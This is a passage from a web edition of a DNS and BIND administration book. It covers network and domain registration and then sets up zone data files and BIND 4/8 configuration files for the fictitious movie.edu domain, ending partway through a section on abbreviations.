Once upon a time, when we wrote the first edition of this book, the Internet's 32-bit address space was divided up into three main classes of networks: class A, class B, and class C. Class A networks were networks in which the first octet (first eight bits) of the IP address identified the network, and the remaining bits were used by the organization assigned the network to differentiate hosts on the network. Most organizations with class A networks also subdivided their networks into subnetworks, or subnets, adding another level of hierarchy to the addressing scheme. Class B networks devoted two octets to the network identifier and two to the host; class C networks gave three octets to the network identifier and one to the host.

Unfortunately, this small/medium/large system of networks didn't work well for everyone. Many organizations were large enough to require several class C networks, which could accommodate at most 254 hosts, but too small to warrant a full class B network, which could serve 65534 hosts. Many of these organizations were allocated class B networks, anyway. Consequently, class B networks quickly became scarce.

To help solve this problem, and create networks that were just the right size for all sorts of organizations, Classless Inter-Domain Routing, or CIDR (pronounced "cider") was developed. As the name implies, CIDR does away with the old class A, class B, and class C network designations. Instead of allocating either one, two, or three octets to the network identifier, the allocator could allocate any number of contiguous bits of the IP address to the network identifier. So, for example, if an organization needed an address space roughly four times as large as a class B network, the powers-that-be could assign it a network identifier of 14 bits, leaving 18 bits (four class Bs' worth) of space to use.

Naturally, the advent of CIDR made the "classful" terminology outdated - although it's still used a good deal in casual conversation. Now, to designate a particular CIDR network, we specify the particular high-order bit value assigned to an organization, expressed in dotted octet notation, and how many bits identify the network. The two terms are separated by a slash. So 15/8 is the old, class A-sized network that begins with the bit pattern 00001111. The old, class B-sized network 128.32.0.0 is now 128.32/16. And the network 192.168.0.128/25 consists of the 128 IP addresses from 192.168.0.128 to 192.168.0.255.

The InterNIC was once the official source of all IP networks; they assigned all IP networks to Internet-connected networks and made sure no two ranges overlapped. Nowadays, the InterNIC's old role has been largely assumed by Internet Service Providers (ISPs), who allocate space from their own networks for customers to use. If you know your network came from your ISP, the larger network from which your network was carved is probably registered (to your ISP). You may still want to double-check that your ISP took care of registering their network, but you don't (and probably can't) do anything yourself, except nag your ISP if they didn't register their network. Once you've verified their registration, you can skip the rest of this section and move on.

If, however, your network was assigned by the InterNIC, way back when, or you are an ISP, you should check to see whether your network is registered. Where do you go to check whether your network is registered? Why, to the same organizations that register networks, of course. These organizations, called (what else?) registries, each handle network registration in some part of the world. In the Western Hemisphere, ARIN, the American Registry of Internet Numbers, at http://www.arin.net/, hands out IP address space and registers networks. In Asia and the Pacific, APNIC, the Asia Pacific Network Information Center, at http://www.apnic.net/, serves the same function. In Europe, it's the RIPE Network Coordination Centre, at http://www.ripe.net/. Each registry may also delegate registration authority for a region; for example, ARIN delegates registration authority for Mexico and for Brazil to registries in each country. Be sure to check for a registry local to your country.

If you're not sure your network is registered, the best way to find it is to use the whois service provided by the various registries and look for your network. Here are the URLs for each registry's whois page:

ARIN

http://www.arin.net/whois/arinwhois.html

APNIC

http://www.apnic.net/reg.html

RIPE

http://www.ripe.net/db/whois.html

If you find out your network isn't registered, you'll need to get it registered before setting up your in-addr.arpa zones. Each registry has a different process for registering networks, but most involve money changing hands (from your hands to theirs, unfortunately).

You may find out that your network is already assigned to your ISP. If this is the case, you don't need to register independently with the registry.

Once all your Internet-connected hosts are on registered networks, you can give your parent domain a call.

3.2.4 Registering with Your Parent

Different domains have different registration policies. We've included the InterNIC's current registration form for second-level domains as Appendix D, Domain Registration Form. The form is only valid for registration under the InterNIC-run generic top-level domains like com and edu. (In other words, don't submit it to the administrators of the au or fr domain and expect them to honor it.) It should, however, give you an idea of what to expect in a registration form (especially if you're registering under one of the InterNIC's domains). Other domains often have more informal registration processes. Sometimes simply sending the "registrar" the necessary information in an email message will do.

Since the forms will undoubtedly become obsolete before we update this book again, you should check out the InterNIC's online, HTML forms-based registration process at http://www.rs.internic.net/rs-internic.html. Although this process doesn't actually submit the form yet, it does automate the process of creating a properly-formatted request that you can then email to the InterNIC. Or you can just retrieve the current forms and print them, then fill them out by hand.

The basic information that your parent needs is the names and addresses of your domain name servers. If you're not connected to the Internet, give them the addresses of the Internet hosts that will act as your name servers. Some parent domains also require that you already have operational name servers for your domain. (The InterNIC doesn't, but they ask for an estimate of when the domain will be fully operational.) If that's the case with your parent, skip ahead to Chapter 4, and set up your name servers. Then contact your parent with the requisite information.

If the InterNIC runs your parent domain, they'll also ask for some information about your organization, and for an administrative contact and a technical contact for your domain (which can be the same person). If your contacts aren't already registered in the InterNIC's whois database, you'll also need to provide information to register them in whois. This includes their names, surface mail addresses, phone numbers, and electronic mail addresses. If they are already registered in whois, just specify their InterNIC whois "handle" (a unique alphanumeric ID) in the registration.

There's one more aspect of registering a new domain with the InterNIC that we should mention: cost. Network Solutions, Inc. (NSI), the contractor that manages the InterNIC, has begun charging to register new top-level domains and domains under the generic top-level domains com, net, and org. The startup fee is $70 (U.S.). NSI has also instituted an ongoing, annual charge of U.S. $35 for each domain. If you already have a subdomain under com, net, or org and haven't received a bill from NSI recently, it'd be a good idea to check your contact information with whois to make sure they've got a current address and phone number for you. For more information on the billing policy and the current scoop on the InterNIC registration process, see http://www.rs.internic.net/rs-internic.html.

If you're directly connected to the Internet, you should also have the in-addr.arpa domains corresponding to your IP networks delegated to you. For example, if your company was allocated the network 192.201.44/24, you should manage the 44.201.192.in-addr.arpa domain. This will let you control the IP address-to-name mappings for hosts on your network. Chapter 4 also explains how to set up your in-addr.arpa domains.

In the last section, "Checking That Your Network Is Registered," we asked you to find the answers to several questions: is your network a slice of an ISP's network? Is your network, or the ISP's network that your network is part of, registered? In which registry? You'll need these answers to have your in-addr.arpa domains delegated to you.

If your network is part of a larger network registered to an ISP, you should contact the ISP to have the appropriate subdomains of in-addr.arpa delegated to you. Each ISP uses a different process for setting up in-addr.arpa delegation. Your ISP's web page is a good place to research that process. If you can't find the information there, try looking up the SOA record for the in-addr.arpa domain that corresponds to your ISP's network. For example, if your network is part of UUnet's 153.35/16 network, you could look up the SOA record of 35.153.in-addr.arpa to find the email address of the technical contact for the zone.

If your network is registered directly with one of the regional registries, contact them to get your in-addr.arpa domain registered. Each registry makes information on their delegation process available on its web site. ARIN's template for requesting in-addr.arpa delegation, inaddrtemplate.txt, is included in this book as Appendix E, in-addr.arpa Registration Form, and available online at http://rs.arin.net/templates/inaddrtemplate.txt.

Now that you've sent your prospective parent word that you'd like to be adopted, you'd better take some time to get your things in order. You've got a domain to set up, and in the next chapter, we'll show you how.

Previous: 3.1 Getting BIND | DNS & BIND | Next: 4. Setting Up BIND
3.1 Getting BIND | Book Index | 4. Setting Up BIND


[Chapter 4] Setting Up BIND

DNS & BIND

DNS & BINDSearch this book
Previous: 3.2 Choosing a Domain Name Chapter 4 Next: 4.2 Setting Up DNS Data

4. Setting Up BIND

Contents:
Our Domain
Setting Up DNS Data
Setting Up a BIND Configuration File
Abbreviations
Host Name Checking (BIND 4.9.4 and Later Versions)
Tools
Running a Primary Master Name Server
Running a Slave Name Server
Adding More Domains
What Next?

"It seems very pretty," she said when she had finished it, "but it's rather hard to understand!" (You see she didn't like to confess, even to herself, that she couldn't make it out at all.) "Somehow it seems to fill my head with ideas - only I don't exactly know what they are!"

If you have been diligently reading each chapter of this book, you're probably anxious to get a name server running. This chapter is for you. Let's set up a couple of name servers. Others of you may have read the table of contents and skipped directly to this chapter. (Shame on you!) If you are one of those people who cut corners, be aware that we may use concepts from earlier chapters and expect you to understand them already.

There are several factors that influence how you should set up your name servers. The biggest factor is what sort of access you have to the Internet: complete access (e.g., you can ftp to ftp.uu.net), limited access (limited by a security firewall), or no access at all. This chapter assumes you have complete access. We'll discuss the other cases in Chapter 15, Miscellaneous.

In this chapter, we'll set up two name servers for a fictitious domain, as an example for you to follow in setting up your own domain. We'll cover the topics in this chapter in enough detail to get your first two name servers running. Subsequent chapters will fill in the holes and go into greater depth. If you already have your name servers running, skim through this chapter to familiarize yourself with the terms we use or just to verify that you didn't miss something when you set up your servers.

4.1 Our Domain

Our fictitious domain is for a college. Movie University studies all aspects of the film industry and researches novel ways to distribute films. One of the most promising projects is research into using IP as the distribution medium. After talking with the folks at the InterNIC, we have decided on the domain name movie.edu. A recent grant has enabled us to connect to the Internet.

Movie U. currently has two Ethernets, and they have plans for another network or two. The Ethernets have network numbers 192.249.249 and 192.253.253. A portion of their host table shows the following entries:

127.0.0.1      localhost

# These are our killer machines

192.249.249.2  robocop.movie.edu robocop
192.249.249.3  terminator.movie.edu terminator bigt
192.249.249.4  diehard.movie.edu diehard dh

# These machines are in horror(ible) shape and will be replaced
# soon.

192.253.253.2  misery.movie.edu misery
192.253.253.3  shining.movie.edu shining
192.253.253.4  carrie.movie.edu carrie

# A wormhole is a fictitious phenomenon that instantly transports
# space travelers over long distances and is not known to be
# stable.  The only difference between wormholes and routers is
# that routers don't transport packets as instantly--especially
# ours.

192.249.249.1  wormhole.movie.edu wormhole wh wh249
192.253.253.1  wormhole.movie.edu wormhole wh wh253

And the network is pictured in Figure 4.1.

Figure 4.1: The Movie University network

Previous: 3.2 Choosing a Domain Name | DNS & BIND | Next: 4.2 Setting Up DNS Data
3.2 Choosing a Domain Name | Book Index | 4.2 Setting Up DNS Data


[Chapter 4] 4.2 Setting Up DNS Data

DNS & BIND

DNS & BINDSearch this book
Previous: 4.1 Our Domain Chapter 4
Setting Up BIND 		Next: 4.3 Setting Up a BIND Configuration File

4.2 Setting Up DNS Data

Our first step in setting up the Movie U. name servers is to translate the host table into equivalent DNS data. The DNS version of the data has multiple files. One file maps all the host names to addresses. Other files map the addresses back to host names. The address-to-name lookup is sometimes called reverse mapping. Each network has its own file for the reverse mapping.

As a convention in this book, a file mapping host names to addresses is called db.DOMAIN. In movie.edu, this file is db.movie. The files mapping addresses to host names are called db.ADDR, where ADDR is the network number without the trailing zeros. In our example, the files are db.192.249.249 and db.192.253.253; there's one for each network. The db is short for database. We'll call the collection of db.DOMAIN and db.ADDR files db files or DNS database files. There are a couple of other data files: db.cache and db.127.0.0. These files are overhead. Each name server must have them, and they are, more or less, the same for each server.

To tie all the db files together, a name server needs a startup file - for BIND version 4, this file is usually /etc/named.boot. For BIND version 8, this file is usually /etc/named.conf. The db files are DNS-specific. The startup file is specific to the name server implementation - in this case, BIND.

4.2.1 The db Files

Most entries in db files are called DNS resource records. DNS lookups are case-insensitive, so you can enter names in your db files in uppercase, lowercase, or mixed case. We tend to use all lowercase. Even though lookups are case-insensitive, case is preserved.

Resource records must start in column one. The resource records in the example files we present in this book do start in column one, but they may look indented because of the way this book is formatted. In the DNS RFCs, the examples present the resource records in a certain order. Most people have chosen to follow that ordering, as we have here, but this ordering is not a requirement. The ordering of resource records in the db files is as follows:

SOA record

Indicates authority for this zone data

NS record

Lists a name server for this zone

Other records

Data about hosts in this zone

Of the other records, this chapter covers:

A

Name-to-address mapping

PTR

Address-to-name mapping

CNAME

Canonical name (for aliases)

Those of you who have some experience with the DNS file format will look, no doubt, at our data and say to yourselves, "It would have been shorter to specify it this other way...." We are not using abbreviations or shortcuts in our data, at least not initially. Once you understand the long version, we'll go back and "tighten up" the files.

4.2.2 Comments

The db files are easier to read if they contain comments and blank lines. Comments start with a semicolon and finish at the end of the line. As you might guess, the name server ignores comments and blank lines.

4.2.3 SOA Records

The first entry in each of these files is the SOA (start of authority) resource record. The SOA record indicates that this name server is the best source of information for the data within this zone. Our name server is authoritative for the zone movie.edu because of the SOA record. An SOA record is required in each db.DOMAIN and db.ADDR file. There can be one, and only one, SOA record in a db file.

We added the following SOA record to the db.movie file:

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

The name movie.edu. must start in column one of the file. Make sure the names end with a trailing dot, as we have done here, or you will be surprised at the result! (We'll explain later in this chapter.)

The IN stands for Internet. This is one class of data. Other classes exist, but none of them are currently in widespread use. Our examples use only the IN class. The class field is optional. If the class is omitted, the class IN is assumed.

The first name after SOA (terminator.movie.edu.) is the name of the primary master name server for this data. The second name (al.robocop.movie.edu.) is the mail address of the person in charge of the data (if you replace the first "." with an "@"). Often you'll see root, postmaster, or hostmaster as the email address. Name servers won't use these names - they are meant for human consumption. If you have a problem with someone's domain, you can send an email message to the listed email address. BIND 4.9 and later versions provide another resource record type, RP (responsible person), for this purpose also. The RP record is discussed in Chapter 7, Maintaining BIND.

The parentheses allow the SOA record to span more than one line. Most of the fields within the parentheses of the SOA record are for use by slave name servers and are discussed when we introduce slave name servers later in this chapter. For now, assume these are reasonable values.

We added similar SOA records to the beginning of the db.192.249.249 and db.192.253.253 files. In these files, we changed the first name in the SOA record from movie.edu. to the name of the appropriate in-addr.arpa domain: 249.249.192.in-addr.arpa. and 253.253.192.in-addr.arpa., respectively.

4.2.4 NS Records

The next entries we added to each file are NS (name server) resource records. We added one NS record for each name server for our zone. Here are the NS records from the db.movie file:

movie.edu.  IN NS  terminator.movie.edu.
movie.edu.  IN NS  wormhole.movie.edu.

These records indicate that there are two name servers for the zone movie.edu. The name servers are on the hosts terminator and wormhole. Multihomed hosts, like wormhole, are excellent choices for name servers since they are "well-connected." They are directly accessible by hosts on more than one network and, if they also serve as routers, they are not often down because they are closely monitored. We'll cover more on where to place your name servers in Chapter 8, Growing Your Domain.

As with the SOA record, we added NS records to the db.192.249.249 and db.192.253.253 files.

4.2.5 Address and Alias Records

Next, we created the name-to-address mappings. We added the following resource records to the db.movie file:

;
; Host addresses
;
localhost.movie.edu.  IN A     127.0.0.1
robocop.movie.edu.    IN A     192.249.249.2
terminator.movie.edu. IN A     192.249.249.3
diehard.movie.edu.    IN A     192.249.249.4
misery.movie.edu.     IN A     192.253.253.2
shining.movie.edu.    IN A     192.253.253.3
carrie.movie.edu.     IN A     192.253.253.4
;
; Multi-homed hosts
;
wormhole.movie.edu.   IN A     192.249.249.1
wormhole.movie.edu.   IN A     192.253.253.1
;
; Aliases
;
bigt.movie.edu.       IN CNAME terminator.movie.edu.
dh.movie.edu.         IN CNAME diehard.movie.edu.
wh.movie.edu.         IN CNAME wormhole.movie.edu.
wh249.movie.edu.      IN A     192.249.249.1
wh253.movie.edu.      IN A     192.253.253.1

The first two blocks are probably not a surprise. The A stands for address, and each resource record maps a name to an address. wormhole acts as a router. It has two addresses associated with its name and therefore two address records. Unlike host table lookups, a DNS lookup can return more than one address for a name. A lookup of wormhole will return two. If the requestor and name server are on the same network, some name servers will place the "closest" address first in the response for better performance. This feature is called address sorting and is covered in Chapter 10, Advanced Features and Security. If address sorting does not apply, the addresses are rotated between queries so subsequent responses list them in a different order. This "round robin" feature shows up first in BIND 4.9.

The third block has the host table aliases. For the first three aliases, we created CNAME (canonical name) resource records. However, we created address records for the other two aliases - more on this in a moment. A CNAME record maps an alias to its canonical name. The name server handles CNAME records in a different manner than aliases are handled in the host table. When a name server looks up a name and finds a CNAME record, it replaces the name with the canonical name and looks up the new name. For example, when the name server looks up wh, it finds a CNAME record pointing to wormhole. wormhole is then looked up, and both addresses are returned.

There is one thing you need to remember about aliases like bigt - they should never appear on the right-hand side of a resource record. Stated differently: always use the canonical name (terminator) in the data portion of the resource record. Notice that the NS records we just created use the canonical name.

The final two entries solve a special problem. Suppose you have a router, like wormhole, and you want to check one of the interfaces. One common troubleshooting technique is to ping the interface to verify that it is responding. If you ping the name wormhole, the name server returns both addresses when the name is looked up. ping uses the first address in the list. But which address is first?

With the host table, we chose the address we wanted by using either wh249 or wh253 - each name referred to one of the host's addresses. To provide equivalent capability with DNS, we didn't make wh249 and wh253 into aliases (CNAME records). That would result in both addresses for wormhole being returned when the alias was looked up. Instead, we used address records. Now, to check the operation of the 192.253.253.1 interface on wormhole, we ping wh253 since it refers to only one address. The same applies to wh249.

To state this as a general rule: if a host is multihomed (has more than one network interface), create an address (A) record for each alias unique to one address. Create a CNAME record for each alias common to all the addresses.

Now, don't tell your users about names like wh249 and wh253. Those names are meant for system-administration purposes only. If users learn to use names like wh249, they will be confused when the name doesn't work for them in some places, like .rhosts files. That's because these places want the name that results from looking up the address, and that name is going to be the canonical name, wormhole.

Since we used A (address) records for the wh249 and wh253 aliases, you might ask: "Is it okay to use address records instead of CNAME records in all cases?" Well, using address records instead of CNAME records doesn't cause problems with most applications, since the application only cares that it finds the IP address. There is one application - sendmail - whose behavior changes, though. sendmail usually replaces aliases in mail headers with their canonical name; this canonicalization only happens if the name in the mail header has CNAME data associated with it. Without CNAME records for aliases, your sendmail will have to understand all of the possible aliases your host might be known by, which will require extra sendmail configuration work on your part.

In addition to the problem with sendmail, users might be confused when they try to figure out the canonical name to enter in their .rhosts file. Looking up a name that has CNAME data leads them to the canonical name, whereas address data won't. In this case, users should instead be looking up the IP address to get the canonical name, as rlogind does, but users like these never seem to be on systems we administer.

4.2.6 PTR Records

Next we created the address-to-name mappings. The file db.192.249.249 maps addresses to host names for the 192.249.249 network. The DNS resource records used for this mapping are PTR (pointer) records. There is one record for each host interface on this network. (Recall that addresses are looked up as names in DNS. The address is reversed and in-addr.arpa is appended.)

Here are the PTR records we added for network 192.249.249:

1.249.249.192.in-addr.arpa.  IN PTR wormhole.movie.edu.
2.249.249.192.in-addr.arpa.  IN PTR robocop.movie.edu.
3.249.249.192.in-addr.arpa.  IN PTR terminator.movie.edu.
4.249.249.192.in-addr.arpa.  IN PTR diehard.movie.edu.

There are a couple of things to notice about this data. First, addresses should only point to a single name: the canonical name. Thus, 192.249.249.1 maps to wormhole and not to wh249. You can create two PTR records, one for wormhole and one for wh249, but most systems are not prepared to see more than one name for an address. Second, even though wormhole has two addresses, you only see one of them here. That's because this file shows only the direct connections to network 192.249.249, and wormhole has only one connection there.

We created similar data for the 192.253.253 network.

4.2.7 The Completed Data Files

Now that the various resource records of the db files have been explained, we'll show you what they look like when all the data are in one place. Again, the actual order of these resource records does not matter.

Here are the contents of the file db.movie:

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers
;
movie.edu.  IN NS  terminator.movie.edu.
movie.edu.  IN NS  wormhole.movie.edu.

;
; Addresses for the canonical names
;
localhost.movie.edu.  IN A     127.0.0.1
robocop.movie.edu.    IN A     192.249.249.2
terminator.movie.edu. IN A     192.249.249.3
diehard.movie.edu.    IN A     192.249.249.4
misery.movie.edu.     IN A     192.253.253.2
shining.movie.edu.    IN A     192.253.253.3
carrie.movie.edu.     IN A     192.253.253.4
wormhole.movie.edu.   IN A     192.249.249.1
wormhole.movie.edu.   IN A     192.253.253.1

;
; Aliases
;
bigt.movie.edu.       IN CNAME terminator.movie.edu.
dh.movie.edu.         IN CNAME diehard.movie.edu.
wh.movie.edu.         IN CNAME wormhole.movie.edu.

;
; Interface specific names
;
wh249.movie.edu.      IN A     192.249.249.1
wh253.movie.edu.      IN A     192.253.253.1

Here are the contents of the file db.192.249.249:

249.249.192.in-addr.arpa. IN SOA terminator.movie.edu. al.robocop.movie.edu.(
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers
;
249.249.192.in-addr.arpa.  IN NS  terminator.movie.edu.
249.249.192.in-addr.arpa.  IN NS  wormhole.movie.edu.

;
; Addresses point to canonical name
;
1.249.249.192.in-addr.arpa.  IN PTR wormhole.movie.edu.
2.249.249.192.in-addr.arpa.  IN PTR robocop.movie.edu.
3.249.249.192.in-addr.arpa.  IN PTR terminator.movie.edu.
4.249.249.192.in-addr.arpa.  IN PTR diehard.movie.edu.

Here are the contents of the file db.192.253.253:

253.253.192.in-addr.arpa. IN SOA terminator.movie.edu. al.robocop.movie.edu.(
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

;
; Name servers
;
253.253.192.in-addr.arpa.  IN NS  terminator.movie.edu.
253.253.192.in-addr.arpa.  IN NS  wormhole.movie.edu.

;
; Addresses point to canonical name
;
1.253.253.192.in-addr.arpa.  IN PTR wormhole.movie.edu.
2.253.253.192.in-addr.arpa.  IN PTR misery.movie.edu.
3.253.253.192.in-addr.arpa.  IN PTR shining.movie.edu.
4.253.253.192.in-addr.arpa.  IN PTR carrie.movie.edu.

4.2.8 The Loopback Address

A name server needs one additional db.ADDR file to cover the loopback network: the special address that hosts use to direct traffic to themselves. This network is (almost) always 127.0.0, and the host number is (almost) always 127.0.0.1. Therefore, the name of this file is db.127.0.0. No surprise here; it looks like the other db.ADDR files.

Here are the contents of the file db.127.0.0:

0.0.127.in-addr.arpa. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                          1        ; Serial
                          10800    ; Refresh after 3 hours
                          3600     ; Retry after 1 hour
                          604800   ; Expire after 1 week
                          86400 )  ; Minimum TTL of 1 day

0.0.127.in-addr.arpa.  IN NS  terminator.movie.edu.
0.0.127.in-addr.arpa.  IN NS  wormhole.movie.edu.

1.0.0.127.in-addr.arpa.  IN PTR localhost.

Why do name servers need this silly little file? Think about it for a second. No one was given responsibility for network 127, yet systems use it for a loopback address. Since no one has direct responsibility, everyone who uses it is responsible for it individually. You could omit this file and your name server would operate. However, a lookup of 127.0.0.1 might fail because the root name server contacted wasn't configured itself to map 127.0.0.1 to a name. You ought to provide the mapping yourself so there are no surprises.

4.2.9 The Root Cache Data

Besides your local information, the name server also needs to know where the name servers are for the root domain. This information must be retrieved from the Internet host ftp.rs.internic.net (198.41.0.7). Use anonymous ftp to retrieve the file named.root from the domain subdirectory. (named.root is the same file we've been calling db.cache. Just rename named.root to db.cache after you've retrieved it.)

;       This file holds the information on root name servers needed to
;       initialize cache of Internet domain name servers
;       (e.g. reference this file in the "cache  .  <file>"
;       configuration file of BIND domain name servers).
;
;       This file is made available by InterNIC registration services
;       under anonymous FTP as
;           file                /domain/named.root
;           on server           FTP.RS.INTERNIC.NET
;       -OR- under Gopher at    RS.INTERNIC.NET
;           under menu          InterNIC Registration Services (NSI)
;              submenu          InterNIC Registration Archives
;           file                named.root
;
;       last update:    Aug 22, 1997
;       related version of root zone:   1997082200
;
;
; formerly NS.INTERNIC.NET
;
.                        3600000  IN  NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
;
; formerly NS1.ISI.EDU
;
.                        3600000      NS    B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107
;
; formerly C.PSI.NET
;
.                        3600000      NS    C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
;
; formerly TERP.UMD.EDU
;
.                        3600000      NS    D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90
;
; formerly NS.NASA.GOV
;
.                        3600000      NS    E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
;
; formerly NS.ISC.ORG
;
.                        3600000      NS    F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET.      3600000      A     192.5.5.241
;
; formerly NS.NIC.DDN.MIL
;
.                        3600000      NS    G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET.      3600000      A     192.112.36.4
;
; formerly AOS.ARL.ARMY.MIL
;
.                        3600000      NS    H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET.      3600000      A     128.63.2.53
;
; formerly NIC.NORDU.NET
;
.                        3600000      NS    I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET.      3600000      A     192.36.148.17
;
; temporarily housed at NSI (InterNIC)
;
.                        3600000      NS    J.ROOT-SERVERS.NET.
J.ROOT-SERVERS.NET.      3600000      A     198.41.0.10
;
; housed in LINX, operated by RIPE NCC
;
.                        3600000      NS    K.ROOT-SERVERS.NET.
K.ROOT-SERVERS.NET.      3600000      A     193.0.14.129
;
; temporarily housed at ISI (IANA)
;
.                        3600000      NS    L.ROOT-SERVERS.NET.
L.ROOT-SERVERS.NET.      3600000      A     198.32.64.12
;
; housed in Japan, operated by WIDE
;
.                        3600000      NS    M.ROOT-SERVERS.NET.
M.ROOT-SERVERS.NET.      3600000      A     202.12.27.33
; End of File

The domain name "." refers to the root domain. Since the root domain's name servers change over time, don't assume this list is current. Pull a new version of named.root.

How is this file kept up to date? As the network administrator, you must keep it up to date. Some versions of BIND did update this file periodically. That feature was disabled: apparently, it didn't work as well as the authors had hoped. Sometimes the changed db.cache file is mailed to the bind-users or namedroppers mailing list. If you are on one of these lists, you are likely to hear about changes.

Can you put data other than root name server data in this file? You can, but it won't be used. Originally, the name server installed this data in its cache. However, the cache file has changed (subtly) to be the root name server hints (but the name "cache file" stuck). The name server stores the hints data in a special place and does not discard the hints if their TTLs drop to zero, as it would with cache data. The name server uses the hint data to query the root name servers for the current list of root name servers, which it caches. When the cached list of root name servers times out, the name server again uses the hints to get a new list.

What are the 3600000s for? In older versions of this file, this number used to be 99999999. Since this file was originally cache data, the name server needed to know how long to keep these records active. The 99999999s meant a very long time. The root name server data was to be kept active for as long as the server ran. Since the name server now stores this data in a special place and doesn't discard it if it times out, the TTL is unnecessary. But it's not harmful to have the 3600000s, and it makes for interesting BIND folklore when you pass responsibility to the next name server administrator.

Previous: 4.1 Our Domain | DNS & BIND | Next: 4.3 Setting Up a BIND Configuration File
4.1 Our Domain | Book Index | 4.3 Setting Up a BIND Configuration File


[Chapter 4] 4.3 Setting Up a BIND Configuration File

DNS & BIND

DNS & BINDSearch this book
Previous: 4.2 Setting Up DNS Data Chapter 4
Setting Up BIND 		Next: 4.4 Abbreviations

4.3 Setting Up a BIND Configuration File

Now that the db files have been created, a name server must be instructed to read each of the files. For BIND, the mechanism for pointing the server to its db files is the configuration file. Up to this point, we've been discussing files whose data and format are described in the DNS specification. The configuration file, though, is specific to BIND and is not defined in the DNS RFCs.

The BIND configuration file syntax changed significantly between version 4 and version 8. We'll first show you the BIND 4 syntax and then we'll show you the equivalent BIND 8 syntax. You'll have to check the named[1] manual page to find out which you need to use. If you already have a version 4 configuration file, you can convert it to a version 8 configuration file by running the Perl script src/bin/named/named-bootconf.pl that is distributed with the BIND source.

[1] named is pronounced "name-dee" and stands for "name server daemon." BIND is pronounced to rhyme with "kind." Some creative people have noticed the similarities in the names and choose to mispronounce them "bin-dee" and "named" (like "tamed").

In BIND 4, comments in the configuration file are the same as in the db files - they start with a semicolon and finish at the end of the line:

; This is a comment

In BIND 8, you can use any of 3 styles of comments: C-style, C++-style, or shell-style:

/* This is a C-style comment */
// This is a C++-style comment
# This is a shell-style comment

Don't use a version 4 style comment in a version 8 configuration file because it won't work - the semicolon ends a configuration statement instead of starting a comment statement.

Usually, configuration files contain a line indicating the directory where the files are located. The name server changes its directory to this location before reading the files. This allows the filenames to be relative to the current directory instead of being complete path names. Here is how a version 4 directory line looks:

directory /usr/local/named

Here is how a version 8 directory line looks:

options {
        directory "/usr/local/named";
        // Place additional options here.
};

NOTE: Only one options statement is allowed in the configuration file, so any additional options mentioned later in this book must be added along with the directory option.

On a primary master server, the configuration file contains one line for each file to be read. For version 4, this line comprises three fields: the word primary, starting in the first column, the domain name of the zone, and the filename:

primary  movie.edu                db.movie
primary  249.249.192.in-addr.arpa db.192.249.249
primary  253.253.192.in-addr.arpa db.192.253.253
primary  0.0.127.in-addr.arpa     db.127.0.0

For version 8, the line starts with the keyword zone followed by the domain name and the class (in stands for Internet). The type master is the same as the version 4 primary. The last field is the filename:

zone "movie.edu" in {
      type master;
      file "db.movie";
};

Here is the version 4 configuration file line to read the cache file:

cache  .  db.cache

and the equivalent version 8 configuration file line:

zone "." in {
        type hint;
        file "db.cache";
};

As mentioned earlier, this file is not for general cache data. It only contains the root name server hints.

By default, BIND 4 expects the configuration file to be named /etc/named.boot, but it can be changed with a command-line option. BIND 8 expects the configuration file to be named /etc/named.conf instead of /etc/named.boot. The db files for our example are in the directory /usr/local/named. Which directory you use does not matter. Avoid putting the directory in the root filesystem if the root filesystem is short on space. Here is the complete version 4 /etc/named.boot file:

; BIND configuration file

directory /usr/local/named

primary  movie.edu                db.movie
primary  249.249.192.in-addr.arpa db.192.249.249
primary  253.253.192.in-addr.arpa db.192.253.253
primary  0.0.127.in-addr.arpa     db.127.0.0
cache    .                        db.cache

Here is the complete version 8 /etc/named.conf file:

// BIND configuration file

options {
        directory "/usr/local/named";
        // Place additional options here.
};

zone "movie.edu" in {
        type master;
        file "db.movie";
};

zone "249.249.192.in-addr.arpa" in {
        type master;
        file "db.192.249.249";
};

zone "253.253.192.in-addr.arpa" in {
        type master;
        file "db.192.253.253";
};

zone "0.0.127.in-addr.arpa" in {
        type master;
        file "db.127.0.0";
};

zone "." in {
        type hint;
        file "db.cache";
};

Previous: 4.2 Setting Up DNS Data | DNS & BIND | Next: 4.4 Abbreviations
4.2 Setting Up DNS Data | Book Index | 4.4 Abbreviations


[Chapter 4] 4.4 Abbreviations

DNS & BIND

DNS & BINDSearch this book
Previous: 4.3 Setting Up a BIND Configuration File Chapter 4
Setting Up BIND 		Next: 4.5 Host Name Checking (BIND 4.9.4 and Later Versions)

4.4 Abbreviations

At this point, we have created all the files necessary for a primary master name server. Let's go back and revisit the DNS database files; there are shortcuts we didn't use. Unless you see and understand the long form first, though, the short form can look very cryptic. Now that you know the long form and have seen the BIND configuration file, we'll show you the shortcuts.

4.4.1 Appending Domains

The second field of a primary (version 4) or zone (version 8) configuration file line specifies a domain name. This domain is the key to the most useful shortcut. This domain is the origin of all the data in the db file. The origin is appended to all names in the db file not ending in a dot. The origin will be different for each db file.

Since the origin is appended to names, instead of entering robocop's address in db.movie as this:

robocop.movie.edu.    IN A     192.249.249.2

we could have entered it like this:

robocop    IN A     192.249.249.2

In the db.192.24.249 file we entered this:

2.249.249.192.in-addr.arpa.  IN PTR robocop.movie.edu.

